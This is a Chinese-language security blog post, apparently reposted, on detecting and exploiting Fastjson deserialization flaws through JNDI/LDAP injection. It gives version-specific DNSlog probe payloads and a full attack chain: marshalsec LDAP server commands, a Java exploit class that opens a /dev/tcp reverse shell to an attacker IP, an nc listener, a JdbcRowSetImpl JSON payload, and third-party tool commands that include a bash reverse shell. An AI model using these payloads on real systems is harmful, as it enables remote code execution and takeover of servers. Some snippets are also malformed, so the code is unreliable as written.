fastjson漏洞利用
2022-7-13 11:45:15 Author: 星冥安全(查看原文) 阅读量:97 收藏

Fastjson 简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

fastjson探测

如果给服务端传输数据使用json数据的话,可以通过下面poc去探测,也可以通过{"name":"test","passwd":"12345"}这种格式,删除{}等符号看是否会爆出fastjson版本信息。

Fastjson反序列化漏洞被利用的原因

1.Fastjson提供了反序列化功能,允许用户在输入json串时通过"@type"键对应的value值指定任意反序列化类名。2.Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。
1.反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap2.RMI是一种行为,指的是Java远程方法调用。3.ldap指轻量级目录服务协议。4.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

存在Java版本限制:

基于rmi的利用方式:适用jdk版本:JDK 6u132JDK 7u131JDK 8u121之前;jdk8u122的时候,加了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。Java 8u191更新中,OracleLDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

fastjson漏洞检测

方法1:利用 java.net.Inet [4 | 6] 地址

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

方法2:利用 java.net.InetSocketAddress

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

方法3:利用 java.net.URL

{{"@type":"java.net.URL","val":"dnslog"}:"x"}

fastjson >1.2.43

{"@type":"java.net.URL","val":"http://dnslog"}{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

fastjson >1.2.48

{"@type":"java.net.InetAddress","val":"dnslog"}

fastjson >1.2.68

{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}Set[{"@type":"java.net.URL","val":"http://dnslog"}]Set[{"@type":"java.net.URL","val":"http://dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{{"@type":"java.net.URL","val":"http://dnslog"}:0

精确探索

https://github.com/pen4uin/awesome-java-security/tree/main/alibaba%20fastjson[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]

fastjson漏洞利用原理

主机A:靶机,提供http服务,存在fastjson反序列化漏洞。

主机B/C:攻击者服务器,提供ldap服务与http服务,http可获得恶意Java类。

主机B的ldap通过marshalsec工具部署ldap服务,命令为

工具地址:https://github.com/mbechler/marshalsec.git
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://192.168.19.128:4444/ldap服务默认监听在9999端口,

主机C的http服务通过python去开启,开启http服务的目录下可访问到恶意java类编译后的.class文件exp.calss

python -m SimpleHttpServer 4444

exp.java文件类容为,通过javac exp.java编译成class文件,

主机A执行exp类之后即可获得主机A的反弹shell

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader; public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.19.130/5555;cat <&5 | while read line;do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));         String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }         p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }
//在192.168.19.128服务器上监听5555端口, nc -lvvp 5555 //等待反弹过来的shell

在192.168.19.128服务器上监听5555端口,nc -lvvp 5555

漏洞利用流程如下:

  1. 黑客使用payload攻击主机A,

请求需要改为POST,Content-Type: application/json

payload代码如下

{    "name": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "x": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName""ldap://192.168.19.128:9999/exp",        "autoCommit": true    }}

2.主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。

3.主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。

4.主机A执行恶意Java类,主机192.168.191.128在5555端口获得反弹shell,控制主机A。

注意:1.json数据中的vps端口为jar包开放的端口,不是http服务的端口,nc监听的为bash命令的端口。2.对用jarjson数据中的协议要一致(rmildap)。

# 其他工具

1.fastjson_rce_tool

 https://github.com/pt001/fastjson_rce_tool

命令:

 java -cp fastjson_tool.jar fastjson.HLDAPServer vps 8888 "curl dnslog"
 java -cp fastjson_tool.jar fastjson.HLDAPServer vps 8888 "bash=/bin/bash -i >& /dev/tcp/vps/5555 0>&1"

这个工具会生成两个payload,推荐使用长的那一个,本地java环境最好与目标一致,对于fastjson1.2.7左右的环境比较适合。

2.JNDI-Injection

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

利用链和之前相同。

参考链接

https://blog.csdn.net/u012990687/article/details/110358442https://www.freebuf.com/articles/web/283585.htmlhttps://github.com/safe6Sec/Fastjson

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxMDMwNDE2OQ==&mid=2247486394&idx=1&sn=3c3745759d2126c5e2fb627e8d0742be&chksm=c12c3d7cf65bb46a44a6fcc9cc0b5563482a950ed773a79b5e4e9b5a6f9882f65044766ee991#rd
如有侵权请联系:admin#unsafe.sh